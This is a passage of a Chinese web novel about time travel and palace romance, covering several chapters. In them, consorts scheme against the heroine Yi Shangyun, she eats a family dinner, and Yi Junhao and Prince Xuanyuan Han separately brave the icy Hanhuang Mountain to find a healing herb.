陆天骄看着梅汐媛此时炯炯有神的眼睛以及眉心那颗妩媚妖娆能惹人万般怜爱的美人痣,心里暗想片刻后温和的道了一句“姐姐” 梅汐媛听了大喜“这才对嘛,既然你我姐妹情深,理所应当合力抗敌才是” 这话让陆天骄有些吃惊,心想,看来她应该已是在自己的提醒下,察觉了轩辕翰对衣上云那个丑丫头的心意。于是欲言又止道“合力抗敌?姐姐让那丫头进王府来,难道要在王府将那丫头...” 梅汐媛接着她的话说道“那不知妹妹对此事可有兴趣?如若妹妹不乐意,那姐姐只好另寻别家的千金小姐进王府来共谋大事了。想必以殿下的尊贵身份,想进这秦王府的娇美小姐应该不少吧?哎呀...那如若这样的话...姐姐我就不知还能不能为妹妹占住这秦王府第二位王妃的位置 了呀,如若不能,那就真是可惜了” 陆天骄听到这里,心情澎湃着,沉默了半晌,似是已经整理清楚,有了头绪,也已下定决心。 于是,只见她轻轻抬起一只纤纤玉手来,向着旁边案几上的那瓶红梅伸过去,眼睛仔细端详了每一朵盛开的寒梅,最后将其中开的最美最艳的一朵轻柔地摘下来靠近鼻翼,极其陶醉般的闻了闻,之后便缓缓起身朝着梅汐媛身边一步一步走了过去。 待到近身后,她便温柔地将这朵娇嫩欲滴的寒梅插在了梅汐媛的发髻上,看着甚是光彩熠熠。随后对其笑着说道“妹妹从此愿唯姐姐马首是瞻,对姐姐忠心耿耿,共谋大计” 梅汐媛听到,转身过来满面笑容的朝着她,拉起她那手如柔荑,指若青葱的一双纤纤玉手,两人相视而笑,却是各自心有所思着。 (本章完) 第六十七章:试探,毁了这个劳什子 转眼已到了午饭时间。 城西衣府里,因为衣上坤和衣上云的归来,亦是一个难得的全家团聚的日子。 宽大的食案上已摆满了一整桌丰盛的酒菜,此时所有人正都依次落座下来准备吃饭。 “云儿,来,这是你最爱吃的,多吃点儿。瞧这在宫里才几个月的时间,整个人都瘦了一大圈儿”年氏说着,便拿起筷子伸向摆放在自己面前,码得整整齐齐的犹如麻将块儿,烧的红里透亮,色如玛瑙的一盘东坡肉里去,随即夹起里面最大的一块儿放到衣上云的碗碟里。 “谢母亲关怀”衣上云连忙拿起碗碟接着,可接下来却只是一直抿嘴笑着,眼睛直勾勾盯着放在自己盘中的那块东坡肉。真心难以起筷来,更别说下肚了。 她心想,原主怎会喜食如此富含脂肪且油腻的食物。她清楚的记着每100克东坡肉里所含的热量约为470大卡,胆固醇含量过高、饱和脂肪酸含量过高,21世纪里的她从来都不敢碰这种菜肴的,而如今…天呢…… “怎么不吃啊,快点趁热吃,这是母亲嘱咐庖屋特意为你小火慢炖了许久才做成的。”年氏见其久久不动筷又开口催促着。 衣上云的愁绪被打断,急急回年氏话道“喔,云儿只是身子尚未恢复,所以还有些不适,固还没有很好的胃口,母亲莫怪!” 年氏正想开口询问其哪里尚还不适,一旁的衣上坤甚是难得的开口道“她现在还不适合食用这些油腻的食物” “喔,是母亲疏忽了。那你就多吃些时令蔬菜”年氏重新再次劝食。 一旁的衣上雪看了这母女俩人半天,此刻,终于看不下去了,冷笑一声道“哼...莫是吃了几个月皇宫里的山珍海味,对这家里的粗食淡饭便食之无味、难以下咽了不成?” 衣上俊坐在衣上雪旁边位置上,亦是朝其投去满是讥讽和轻蔑的眼神。 “住口,食不言寝不语,这规矩都学到哪儿去了?身为一个堂堂衣府小姐,看看你现在什么样子,还有没有一点儿大家闺秀的样子了”。 此时,兰姨娘开口训斥道,衣上雪听了嘟了嘟嘴即刻收了声。 一室寂静,接下来就只听见落座各人独自扒拉饭的声音。 中饭过后,屋外竟又洋洋洒洒地飘起了鹅毛般的雪来。 衣府全家挪座,继续聚在一起饮着热茶,闲聊着一些平日里府上的琐碎之事。 兰姨娘向衣上坤汇报了新年过节的吃穿礼节花销用度,一副甚是精打细算又面面俱到颇为周全的样子。 而年氏本就不喜欢操心,便将诸事也全都交给兰姨娘,自己也落得了一身轻松自在。 稍作歇息后,衣上坤便缓缓起身来准备出门上街赴约,与那三两同僚去茶 聚了。 这时,衣上云看见朝其身边急急走了过去,接过府里下人拿上来的一件狐裘衣,亲自帮衣上坤披好。 接着,露出一副极为关怀的眼神对其说“外面天冷,父亲仔细着身子。冬日里的天短,父亲当早些回来才是,免得母亲和姨娘挂心”。 衣上坤生平第一次听到这个女儿如此关怀自己,说话的口气也温文尔宛甚是恰当,完全不似以前平日里那般怯怯懦懦。 于是,他不禁抬头定睛看了她一眼,随后道了句甚是简练的“知道了”,便径自踱步而出。 其实,在衣上云的心里,只不过是自从燕儿那里得知父亲对她,其实并没有她想象的那般冷漠后,想要尝试着主动亲近一些罢了。 更重要的是,她觉得这样做,或许如此,还可能会有机会试探着揭开那个神秘人的秘密。 而就在她似有所思,目送着衣上坤走出她的视线后,她回头的一霎那,客厅里在座众人竟都一脸痴愣的齐齐望着她,这废柴丑女何时竟被老爷另眼相待了。 唯只见年氏一脸欣慰的朝她微笑着,对她方才的所作所为甚是满意的样子。 衣上雪则一副趾高气昂的样子正斜视着她,一脸轻蔑的表情,嘴里喃喃地哼道“无事献殷勤,非奸即盗”。 衣上俊看着父亲对衣上云态度突转,亦是心中颇为不满,嘲讽说“丑丫头,别以为我不知道你打的什么主意。你以为说两句好听的,父亲便会对你另眼相看吗?也不照照镜子看看自己什么模样?”。 “扑哧”衣上雪听了衣上俊这话竟笑出声来,家主不在场了,兰姨娘亦是睁一只眼闭一只眼,放纵任由着自己的一双儿女无规无矩的放肆,而自己则目不转睛饶有兴致的只顾着转动着手腕上一只翠绿的翡翠镯子。 衣上云本想好好怼这兄妹俩几句,可一看到镯子,她眼睛一转,低头看向了自己的手腕一眼。 忽然,她端起一脸惊喜之态,疾步上前一把捉住兰姨娘的手腕道“哇,姨娘的这只翡翠镯子质地水润细腻、摸上去手感凝滑、饱满大气、果真是不俗”。 兰姨娘瞬间被衣上云这异于常态,突然跳脱的举止惊到,正要抬眼严厉训斥,却被衣上云故意显露在其面前的那只七彩金丝彩玉镯子先吸引了去。 只见她那双天生一副财迷必备的瞳孔顿时变大,声音却瞬间压低变得极为柔和地说“姨娘这镯子才乃真正一俗物,倒是云儿这七彩金丝玉镯颜色鲜艳、灵气逼人、姨娘有生之年还是头一回见到如此不得多见的金丝玉镯,这才是真真极品呢?”。 说着,她一边将手反转顺势捉起了衣上云的手,一边伸出另一只手来轻 第六十八章:寒荒山,山如其名 漫天的鹅毛大雪簌簌飘落着,天地间尽是银装素裹,凛冽的西北风吹到脸上犹如一枚枚新磨出尖的针一般刺痛。 西秦北部最苦寒偏远地区,一处似乎被世间遗忘了的角落,再往前不远处便是北烈国国境了。 为何说是被遗忘的角落,因为此处地势险要且终年飞雪、寒冷异常、荒无人烟、几乎看不见任何生命的迹象,只有绵延不断高高低低的冰峰雪岭逶迤连绵。 远远的只见有三个人影渐渐出现在这片绝地之处,向着这冰峰雪岭群中最高的一座走来。 来人正是一大早,便从西秦百草谷启程赶来寻取神草的易君浩主仆三人。 眼前到处一片白雪皑皑的世界,似是要将三人的眼睛灼伤一般,发出耀眼的雪光。 两名女子时不时蹙眉本能的伸出手想要遮挡这刺眼的雪光,却似乎并没有起到什么作用。 一路往北走来,越深入山里,雪的氛围便越浓厚。此时,周围已到处被厚厚的积雪所覆盖。 深山里时不时还会笼罩起一层朦朦胧胧的薄雾来,仿佛这里蕴藏着许多新奇和秘密。 “三少,这里真的如传说中所说的一样寒冷、荒凉又神秘”身后的婢女紫苏一边紧跟在后,一边四处探视着惊叹地说道。 “紫苏,这里到底是什么鬼地方,怎么这么冰冷荒芜。山里没有人烟也就算了,这一路上居然连一棵小小的枯树影子都没见到。除了到处冰雪,竟连虫鸟的尸体也不见一个。甚至除了这耳边的风声都没有其它声音,静的好可怕!”白芷跟着说,竟然顿时脸色苍白冒起了冷汗有些瑟瑟发抖,不知是因为这冰天雪地里寒冷的环境还是因为心里害怕所致。 紫苏看见,连忙过去一手紧紧地抱住她的胳膊,另一手安抚着她的背。眼睛却依然时刻保持机警的观测着四周的动静,口中说道“这里便是整个灵空大陆里,传说的极为神秘之地其一的寒荒山,再往前不远处便是北烈国境了。果真是山如其名,一点儿也不假”。 受到紫苏的安抚,白芷的脸不再像刚才那般惊恐泛白,似是心里已有些缓和,紧接着问“那这里就尚还是西秦的国土咯?没想到,这西秦国竟有如此神秘之地”。 紫苏听了连忙否定道“不,这里并不属于灵空任一国土,乃是无人管辖之地,天下人皆可以来此寻宝,但往往都是有来无回”。 紫苏自己越说心里也越是惊慌,不由得眉头紧皱。白芷不解其中之意,又疑惑着问“谁吃饱了撑的,会来这里啊,除了眼前这延绵不断的冰峰雪岭群,真正的一个鸟不拉屎的地方。这遍地白雪,一望无边,来了怕是连回去的路都找不着了吧”。 这时,前面正手执一指向罗盘探路的易 君浩听了回过头来撇了白芷一眼。 她方才觉得,他们三人不就正是她口中所说的吃饱了撑着没事干之人吗? 忽然,她想起一个方才想问又还没来得及问的重要问题来“对了,紫苏,我们要找的什么腊月春,到底在哪啊?”。 紫苏听了缓缓抬头,眼睛望向眼前这一座座气势雄伟又充满神秘和恐惧,正渐渐呈现在他们眼前来令人望而生畏的冰雪群山。 紫苏深吸了一口气,接着拧起眉毛道“传说中的神草腊月春具有非常独特的特性,只生长在这寒荒山中高度二千丈左右的冰雪山峰,其南北坡高寒冰碛地带的悬崖峭壁上”。 “什么?”白芷听了瞬间张大了嘴巴一脸不可思议的表情惊呼道,眼睛急急望向眼前那几座相符的山峰怔着。 呆愣了片刻后,她怯怯地问“我们不会是要真的攀上二千丈左右的高度,去为那女子寻腊月春吧?”。 紫苏看了她一眼,随后深深吐了一口浊气,眼睛似是无奈的看向前面的易君浩。 易君浩听了白芷的话,开口道“此事乃本谷主自己的事,跟你们无关,你们无须枉送性命,等会儿你们在山脚下等候便是”。 “三少不可,三少在百草谷内答应过紫苏的,紫苏誓死追随三少,绝无怨言”紫苏急忙一脸决绝的说道。 白芷见了也后悔起自己方才的出言不慎,连忙乞求“对对对,白芷错了,白芷不该胆小懦弱,三少千万不要丢下我们俩个,无论生死,我们都要和三少在一起”。 易君浩听了,感觉确实拿眼前这俩女人没办法,没想到这俩个女人竟对自己忠诚至此,能有她们在身边,也算是他的福气了,他又怎会舍得让她们真的以身涉险呢? 可这俩女子过会儿必定是会成为自己独自攀崖的阻碍,眼看着就要到最高那座山的脚下了,他必须马上想一个万全之策来阻止她们。 于是瞬间,他急急一个转身,朝着俩个女子身后望着,一脸惊讶的说“看,那是什么?” 紫苏和白芷闻声亦是一个迅速的急转身。 就在俩人转身的瞬间,易君浩迅速伸出两指去点了紫苏的穴道,紫苏便顿时不得动弹,倒在了易君浩的怀中。 “三少这是做什么?紫苏,紫苏”白芷被惊吓,只急急唤着她的名字。 只见易君浩只顾着将怀中的人儿一把横抱而起,又命白芷迅速将旁边脚下一处积雪比较稀薄的地方清理出来,这才缓缓将她放了下来靠在一块大岩石边上。 &nb 第六十九章:其实,我不是你家小姐 “阿嚏...阿嚏” 如今的衣上云不再似原主那般怯懦柔弱,别人也就不敢再随意挑衅。终日坐在明月阁的阁楼里,大门不出二门不迈,十指不沾阳春水,俨然一副真正衣府大小姐的模样。 整日里被如此宝贝着,此刻竟还能听到她喷嚏连连。燕儿望着她笑了笑,一边整理房间,一边想着要故意打趣逗逗她。 于是,她开口说“小姐怎么突然打起喷嚏了,该不会是这宫里有什么人在思念小姐了吧?” “重要的人?…哪里会有什么重要的人想我,许是有人在骂我呢吧?!”衣上云顺着燕儿所说,稍微想了想便如此作答,硬是将燕儿起的话头生生给噎了回去。 然燕儿却不依不饶,继续打趣着窥探“燕儿听人说,一入宫门深似海,想必小姐在宫中可谓是步步惊险,历经磨难,不知可曾得过哪些贵人的帮衬?”。 谁知衣上云一听这话竟一下子起劲了,立刻放下手中的古籍于燕儿耀虎扬威般说道“哼,你也太小看你家小姐我了。就宫里那些个头脑简单、四肢发达、空有一副皮囊、各个只会拿着鸡毛当令箭的主,哪儿用得着你家小姐我动脑筋啊?!”。 燕儿听了“扑哧”一声笑出了声,随即又赶紧捂了嘴。她竟不知这个在小小的衣府里一向都整日战战兢兢、唯唯诺诺、小心翼翼的小主子,竟何时变得如此神气了,这明显就是在诓她。 于是,她依旧眼睛注视着手中正在擦拭的青花瓷瓶,嘟着小嘴支支吾吾出一句“哼,小姐就只会在燕儿面前显摆。燕儿可是听老爷说,这好几次里,都是那位秦王殿下帮小姐出头,小姐才得以脱险的喔”。 衣上云惊道“你说什么?真是父亲亲口这样跟你说的?” “是啊”燕儿这时才抬头,看向她那双满是惊讶的眼神。 “原来父亲真的什么都知道”衣上云听了口中喃喃。 然燕儿却忽然变作个小花痴一般一脸膜拜地对衣上云说“小姐,这英俊潇洒、少年便被封王的秦王殿下可不是一般的尊贵啊!怕是这整个京城…不对,整个西秦国…也不对,是整个灵空大陆没有一个官家小姐做梦都想要嫁给他呢。最不济的,哪怕只是让殿下能留神看一眼,都会觉得是祖上几辈子修来的福分呢?” “小花痴!”衣上云看着燕儿一脸陶醉的说着,便含着笑伸出手指勾了勾她的小鼻梁道。 然燕儿却似是有些气恼,说道“哎呀小姐,燕儿说的可是认真的。秦王殿下能亲自出面替小姐出头,想必殿下对小姐定是另眼相看的。小姐如今早已过了及笄之年,又被那可恶的陆少主退了亲。这虽说秦王府里,如今已经有一位东宁国公主坐镇正妃主位。可若小姐能得 到秦王垂爱,做个轩辕皇族的侧王妃,这可比做那陆家少夫人强多了去了。指不定,这陆家要是知道了会被气吐血吧?!”。 燕儿自我想象眉飞色舞的说着,然衣上云却早已重新拾起古籍来,目光只顾认真的落在书上缓缓移动着。 燕儿见其对自己所说完全一副若无其事的样子,便放下手中的抹布,愤愤起身来一把夺了她的古籍藏于身后蹙眉道“小姐,你到底有没有听到燕儿说的话呢?你总不能一辈子就这样整日呆在这明月阁里,不为自己打算了吧?” “打算?”衣上云听了这两个字,默默重复道。 “是啊,还是你就打算一辈子在秦王府里,任那个异国公主随意使唤啊?!”燕儿再次似是提醒般说。 “当然不会,但是我也不会去攀附秦王那样的高枝”衣上云一脸严肃而又坚定地说道。 “可是为什么呀?为什么这么好的机会,这么好的男人送到小姐面前,小姐却不愿意去争取呢?”燕儿不明白世人连做梦都想得到如此这般男人的青睐,自己的小主子为何却一点也不心动。 而衣上云又怎能让她明白,在她的心里就只有一个21世纪里的魏明轩呢?况且,她是一定要想方设法回去的。在这个不为人知的时空里,她也只是得过且过而已。 于是,她皱起眉头缓缓说道“燕儿,其实…我不是你家小姐,早晚我都会离开这里的”。 燕儿一听,以为是自己一直逼问,惹恼了主子,便连忙惊慌上前跪地求饶“对不起,小姐,燕儿错了,燕儿不该逼小姐,惹小姐生气。燕儿知错了,小姐你千万不要离开燕儿,燕儿再也不问了,燕儿也是不想小姐一个人整日孤孤单单闷在阁楼里连个说话的人都没有。燕儿真的错了,对不起,小姐……呜...呜...呜”。 小丫头竟然急哭了起来,衣上云连忙伸手轻抚她的头安慰着。 她正想将穿越这件事原原本本的说给燕儿。可就在这时,门口传来衣上雪尖锐刻薄的声音“算你还有自知之明,知道自己配不上衣府大小姐的身份。要离开就趁早,不要整日在府里兴风作浪,如今竟还想巴结讨好父亲,咸鱼要翻身不成?” 说着,便走近衣上云身边弯腰下去盯着她的脸端详了半天“啧啧啧,看看你这张丑陋干瘪的脸,再看看你这身天生就下人命的皮相。喔…对了…我差点忘了,如今仿佛是…还残了对吗?哈哈哈,此刻,竟还敢妄想做秦王府的王妃,真是可笑”。 说完她竟又毫无忌惮的都要笑抽了,燕儿气的朝其瞪大了眼睛看着她。 然衣上雪仍似不依不饶又开口冷冷道“你不是不知道该如何为自己这辈子打算吗?不妨让我告诉你呗,从此 老老实实在秦王府为奴为婢,这才是你应有的命”。 这时,衣上雪故作搔首弄姿之态后扬言道“至于这秦王府的王妃嘛,就凭本小姐的花容月貌,总有一天,相信英勇神武的秦王殿下一定会慧眼看到我的”。 衣上云一直都保持微笑端坐着,神情淡定丝 第七十章:出身唐门的文曲星 “王妃娘娘,这府里的奴才都不知殿下去了何处”赵嬷嬷回话。 梅汐媛听了渐渐褪去脸上的笑意,紧接着一脸严肃地又问“那可有去承华殿里找过那份密信?”。 “娘娘,不得殿下允许,任何人不得踏入承华殿和林月轩半步的,娘娘忘了?”赵嬷嬷小心翼翼地提醒。 “唉,瞧本王妃都给急糊涂了”梅汐媛关心则乱,她入秦王府已有数月,怎会不知在这偌大的王府里,竟也只有这小小的韶华阁是可以任由自己随意走动的。除此之外,便都是轩辕翰的领地了。 这时,陆天骄似是已经暗自思量了半天,开口怀疑道“姐姐,依妹妹对殿下多年的了解,妹妹觉得...难不成殿下今日佩剑外出,亦是与那丫头有关?”。 被陆天骄这么一提醒,梅汐媛忽然觉得,没准八成真是如此。 “妹妹,看来我们的计划得加快进行了,可千万不能让殿下出什么事情,否则…”梅汐媛似有所隐瞒却意味深长的说出这句话。 其实,她心里担心的最终也只是那个让她心心念念的高位罢了,而轩辕翰若是有个什么闪失,她此生便彻底输了。 这话一出,韶华阁里顿时只剩下一室无边的寂静和俩人各自无限悠长的思绪。 西秦北部,寒荒山附近一陡峭崎岖的山路上。 隐隐约约现出来两个身姿挺拔的人影,正用手驱散着山谷里弥漫在眼前的层层薄雾。 “殿下,这里真的好冷!”程良跟在轩辕翰身旁,时不时打着冷颤,不由得拉起披风裹紧了身体。 俩人一路上越往深山里走,道路便越是崎岖,马匹早就被丢在山外,此时只能步行。 从一大早接到陆天骄送来的消息开始赶路,到现在已经过去快四个时辰了。 轩辕翰朝他冷冷地斜了一眼,瞅见他冻的嘴唇发青,正紧紧裹着自己打着哆嗦,甚是狼狈的模样,于是道“饮一点儿寒荒酿便不会那么冷了”。 “喔…对了…寒荒酿,属下怎么把它给忘记了”程良说着便拍了一把自己的脑门,将揣在怀中的小玉瓶掏了出来,迅速拔掉瓶塞递给了轩辕翰。 “本王不冷”轩辕翰看了一眼玉瓶依旧对他冷冷道。 然程良却满是疑惑的劝道“殿下亦是血肉之躯,怎能不冷?殿下不要…那属下也不要了”说着,他便把瓶塞又重新塞了回去准备收起来。 “那你现在就立刻下山,无须再跟着本王了”轩辕翰见他不听命,便皱起眉头转身朝他激语道,说完便独自转身加快了脚步前行。 听到这话,程良终于还是乖乖地抿了小小的一口,瞬间便感觉全身暖了起来,像是置身于炉火旁,整个人都满血复活,全身活络了起来,似是充满力量。随后 ,便高兴的快步跟了上去。 “如何了?”轩辕翰余光瞥见其不再裹着缩着哆嗦着便冷声问道。 “殿下,这陆贤着实还真有两下子”程良笑着说。 只见轩辕翰缓缓抬起了眉眼,语气里似是带了些欣慰的说道“陆贤就像这灵空大陆的一本活史书,上知天文,下通地理,几乎无所不知,你说他有没有能耐呢?”。 “既然如此,可属下怎么听说,当年他在朝中做史官之时甚是狼狈呢?甚至朝内大臣联名奏请谏言要皇上罢免他的官职将其流放边疆?”程良不解地问。 轩辕翰听了淡淡地说道“陆贤,他本是千百年来世居于巴蜀,屹立蜀中之地的唐门一支系弟子”。 “竟是如此!属下听闻蜀中唐门高手辈出、精英如云。不出则以,一出天下响,实是蜀中望族。可也因后来族中支系众多,没有过人天赋便很难在门中立足,而且有很多无法出头的旁系弟子都改名换姓投入别门别派谋求发展…难道陆贤他也是因在门中资庸平平才入的朝堂?”程良恍然大悟却又心生质疑。 “错,恰恰相反,他一出生便显露出异于常人的高智商,在唐门里文韬武略更是无人能敌,只不过是因为一个女子而已!”。 “女子…他已先逝的夫人?没想到这古板的陆贤竟还是个痴情的种子”程良惊道。 “不是他夫人,他所为的只是生长在巴蜀山野间的一个孤女。当年的陆贤年轻气盛,与那女子私定终身,后被一同门师兄发现欲贪其美色将其侮辱,那女子不堪受辱便自己坠崖身亡了...”。 轩辕翰说着说着顿了一会儿,程良追问“那后来呢?”。 轩辕翰叹了口气,接着说“后来唐门对其二人都做了相应处罚,而陆贤却一心想要替那女子报仇,领罚当场便徒手一掌取了那同门的性命。可即便如此,唐门也因他的奇才并未将他逐出师门,而他却自己带着满腹绝望执意离开,并亲自出手废了其一身的内力修为”。 “做的好,有血性,这陆贤还真看不出来啊,竟还是个武学奇才”程良竖起拳头一脸钦佩与诧异的表情说。 “可后来在朝中又为何会...?”程良接着问。 轩辕翰顿了一下忽然皱紧眉头道“陆贤自此后万念俱灰,一心只想专心科研,却被皇上发现其智谋更适合替他统领兵将征战灵空,所以背后令其满朝羽翼暗中勾结,使陆贤在朝内文官中受尽排挤,逼其就范”。 “所以在他最孤立无援的时候,殿下向其抛去了橄榄枝,亦是他的救命稻草。而将这样的人,养在学院里钻研是最合适不过的了”程良这才明白。 原来主子是因为惜才,才会在当年还是个小小少年之时,便不顾各方 压力,极力帮助陆贤远 第七十一章:狭路相逢,冤家路窄 “殿下快看,这个脚印好像是新的”听到程良似是发现了什么,轩辕翰急急走过来确认。 程良接着继续熟练的分析“这脚印看起来应该是三个人,看这脚印的大小和深浅度,应该是…一名男子和两名女子”。 接着他又侧身环顾了一下四周,又言“殿下再看这脚印的方向,我们是由东而来,而这三人脚印的方向则是由西而至,一直延伸向了…糟了……” 程良忽然意识到这脚印显然是奔着同他们一样的方向而去,立刻诧异道,可还未等他将话说完,轩辕翰早已警觉大步沿着这些脚印所往之处快步朝前而去。 程良急急追上。 “殿下,这天下除了陆贤外,竟还有人知道这腊月春,想必方才那堆尸骨也是奔着腊月春而来的。我们…会不会来晚了。这若是真错过了,那可就…”程良满心担忧的边走边说着。 “住嘴”轩辕翰听了顿足朝其冷声呵斥道。 随后又转头看了一眼前方的冰雪山,继续边走边郑重其事的说“就算真已被采走,本王就算将这整座寒荒山夷为平地,也一定要在这峰顶找出第二株腊月春来”。 “什么?峰顶?殿下难道不是找一株腊月春即可,而是一定要这顶峰的那株才可?”程良这才听到轩辕翰的决心大惊道。 这陆贤信中是说,腊月春唯以顶峰者药效为最佳极品,但没想到主子竟为那丫头,如此寻求完美,这次怕是真的有大麻烦了。 程良一边走,一边有些无精打采。眼睛忽然挑起,一看到前面不远处的白色庞然大物又愁容满面地瞬间将头埋了下去。 “前面有人”轩辕翰忽然止步,程良耷拉着脑袋跟在其后若有所思,竟一个没留神一步上前正好撞上轩辕翰的后背。 轩辕翰回头狠狠瞪了他一眼,程良这才振作打起来精神,上前朝轩辕翰所示方向目视了一眼前方。 而又立马伸出手来用力擦了擦亮眼睛,略一沉思,缓缓道“不会吧…”。 “如何?”轩辕翰问。 “殿下,属下认得这俩名女子,她们是…”程良说着说着又似不太确定,为何她们会出现在此地,便停了下来摸了摸后脑勺,又朝着前方再次眺望确认了一眼。 等他回头时,刚好撞上轩辕翰正冷眼瞪着自己,这才慌忙道“殿下,那俩名女子好像是百草谷的女婢,上次殿下让属下陪衣姑娘前往百草谷去为太后求极品铁皮石斛的时候,就是这俩个狂傲的婢女将属下拒之门外的。哼,正好殿下也在,竟然敢把秦王府拒之门外,今日就让属下好好教训教训她们”。 “百草谷?”轩辕翰看着他的眼睛重复着向程良确认,程良颔首肯定。 “莫非又是他?他也来了?”轩辕翰几 近肯定,易君浩今日也为了衣上云来这寒荒山寻取腊月春。 “殿下是说…易君浩?”程良话音未落,轩辕翰就已径直朝那两名女子身边走去,程良亦匆匆跟上。 “有人过来了!”白芷远远看到俩个佩剑的陌生男子在向她们靠近,连忙将被点了穴道靠在大石头边上一动不动的紫苏挡在身后,提醒她道。 紫苏的眼睛用力睁大着,示意白芷快点帮她解开穴道,然白芷一想到易君浩的交代,便犹犹豫豫起来,终究还是没有答应她。只能自己伸出一副柔弱的双臂来护起身后的紫苏,心里却极为惊恐着,自知自己功力太浅,怕是心有余而力不足。 就在她犹豫不决之际,轩辕翰和程良主仆二人已站到了她们面前。 程良一副幸灾乐祸欲要故意挑衅的架势,手持着剑双臂环胸一脸邪笑着对其道“臭丫头,我们这可真是狭路相逢,冤家路窄啊!” 说完,他一看到前面战战兢兢的白芷,再歪着脑袋撇了一眼她身后护着的看起来有些不对劲的紫苏,程良环顾了一下四周继续说“呦,这荒山野岭、冰天雪的,你们俩大姑娘在这里做什么?就不怕…” 说着,程良一大步迈上前逼近到白芷身旁,露出略带了一丝淫笑的表情。 白芷吓一跳,立马将剑指向程良鼻子,却因为紧张都没有意识到剑还尚未出鞘呢? “啧啧啧,学会使剑了吗?!”程良说着,便用两根指头紧紧夹住了白芷手中的佩剑,白芷大惊,本就学艺不精,如今连用来吓唬人的武器都让人给牵制了,都怪自己平日里总爱偷懒,现在懊恼死了。 程良夹落她的剑,这才慢慢蹲了下去,看了看紫苏,随后朝身后的轩辕翰禀报“殿下,她是被人点了穴,不得动弹了” 轩辕翰听了微微眨了下那双寒冷而深邃的眼睛,程良便立刻伸出两指帮其解开穴道。 “不要”白芷大声惊呼。 而就在白芷惊呼的同时,紫苏飞身而立,一把精准的拔出手边剑鞘里的利剑,将其抵在了程良的脖子“大胆淫贼,竟敢打本姑娘妹妹的主意,不要命了吗?” 程良始料未及,顺势将双手展开微微举起在两侧做投降之势。紫苏犀利的眼神一直盯着程良和自己手中的剑刃,白芷乘机迅速弯腰捡起方才被程良夹落的佩剑向紫苏身边靠拢。 程良这才看向身后的主子,谁料主子不但不理他,还故意将头扭向了另一边去。 对付这两个女子,对他而言简直就是小儿科。可他方才对主子也就嘴上那样说说,怎么可能对两个弱女子真的动手,她们并不是什么大恶人,最多也只是让他那次很没有面子而已。 于是,他立马将脸凑上去,嬉皮笑脸道“姑娘别 误会。我不是坏人,我们见过的,你看看,姑娘真不记得我了吗?上次在百草谷…对吧…看看” 紫苏仍只满脸警觉地怒对着二人,白芷则蹙眉凝神将程良上下端详了一番后说“对对对 第七十二章:雪流沙 就在这俩个冤家怒不可遏,拔出长剑准备大大出手时,一旁观望着的天生一副君临天下王者气势的轩辕翰不知道使出了什么东西,一下击中了俩人各自执剑的手,一阵锥心的刺痛感使二人不得不松开手,手里的利剑便顿时纷纷落地。 就在俩人大惊之时,轩辕翰冷眼呵斥道“不想你家谷主有事,就不要在此浪费时间了” “对了,三少…”俩个女子这才四目相对着恍若初醒,异口同声道。 程良顺势捡起佩剑问“你家谷主人呢?” 紫苏和白芷这才同时朝着峰顶上望去,轩辕翰和程良亦朝着她们所望去的位置急急看去。 虽说易君浩此时就紧紧贴在北坡的悬崖峭壁顶,但两千余丈的高度,若不仔细看,还真的很难被人发现。 众人此时都抬头在眼前这个白色庞然大物上仔细搜索寻觅着。 紫苏将头高高抬起几乎是仰面朝天寻了半天,忽然指着边上峰顶处一小团紫红色十分艳丽的小点欣喜道“就在那儿”。 于是,所有人都将头仰起到最高,仰天怔怔地看过去。 峰顶处,一袭耀眼贵气的紫红色斗篷披风下的桃花眼美男子,此时正紧紧贴在这冰冷的悬崖峭壁上。他的嘴唇一片青紫,瑟瑟发抖着,紧紧咬着的牙关咯噔咯噔作响。头发、眉毛、睫毛还有脸颊也都附上了细细的雪粒和冰珠。 然他始终都未放弃和停止眼睛的四处寻觅和以手扒开周围积雪的动作。 但此时,显然他的体力已经快要支撑不住。攀岩本就是极耗费体力的事情。尤其是在如此恶劣的环境下,还长时间滴水不进。 他忽然想起了昨日傍晚,紫苏为他准备的那桌被他掀翻的人间美味来。 还想起百草谷春暖花开后醉人的暖阳,到处鸟语花香,谷中散发出的淡淡药草香气。 他更想起那至今尚在南国的故乡里,已是两鬓斑白慈祥的母亲整日里泪眼摩挲,翘首期盼着她心心念念的孩儿何时会归来。 但他最想的,是在这个世上让他最想得到却也似乎是最无能为力的那个善良、温柔、人人都说她丑,可唯独他却认为是这个世上最美的他的丫头。 爱一个人,到底是要想方设法得到占为已有,还是要默默守护,成全她的自由。 一切的一切,易君浩心里早已经很清楚,但他总是不忍放弃。他的心早已决定,哪怕是此生只做丫头的三哥哥,他也要倾尽全力护她一世周全,哪怕是陪上他这条性命,也无怨无悔。 可是此刻,他真的累了,好累好累,好想睡去,眼皮子已经不由自己意念的控制在打架了。 眼看着只要最后再腾空跃起一次,便可以到达那最顶峰的高度,可能腊月春就正好在那里等着 他。 可此时他却久久不能跃起,不是他不想,而是他实在没有力气了,峰顶亦是严重的缺氧,连呼吸都很困难,他大口大口喘着气。 时间在一点一滴的过去,他紧紧贴在这陡峭崖壁上始终都一动不动似是奄奄一息,很久以后慢慢抬起头来看了看天,马上就要黑下来了。若是天一黑,他就真的彻底前功尽弃,要无终而返了。 忽然,他口中喃喃道“不行,我不能放弃,一定要找到腊月春,丫头绝对不能再等下去了”。 于是,他将全身仅存的一点力量全部齐聚于丹田,倾尽全力点到那最后一个支点上,怒发冲冠般大吼一声“啊……”。 只见一道甚是灿烂夺目的紫红身影瞬间跃起,在这天地间划出一道闪亮的线条,之后就刚好稳稳的落在了峰顶边上。 是的,他成功了,沉重的身体此刻仰面朝天摆成了一个“大”字,终于能够彻底将身体伸展开来,动动这一身的筋骨了。 此刻,离天好近好近,他感觉自己宛若天人,远离了尘世间的所有纷争和苦痛。许久后,缓缓坐起,而就在这坐起的瞬间,眼前竟出现了奇迹般的一幕来。 就在他落下平躺着的位置,他的小腿旁边一堆乱石的积雪间,露着一株微紫色形状宛若荷花,犹如一少女亭亭而立的娇嫩花朵。 “腊月春,真的是腊月春,而且是生于峰顶具有最佳药效的腊月春。太好了,丫头有救了…”易君浩太激动了,激动地仰天大叫着。激动的都忘了满身的疲惫,激动的甚至忘记了自己正置身于二千余丈高的冰山雪峰顶上。 强大的寒风冷冷肆虐着他的身体,他发出的声音瞬间便被这风声所吞噬,唯独只看到他那张冻僵的脸和一双依旧妖艳的桃花眼,此刻笑得无比灿烂。 于是,他伸手从斗篷披风里掏出一个特制的小木箱,打开来原来里面装的全是冰水。 接着,他慢慢靠近到腊月春旁,伸手轻轻地将其采摘下来,储存进这冰水箱子里。 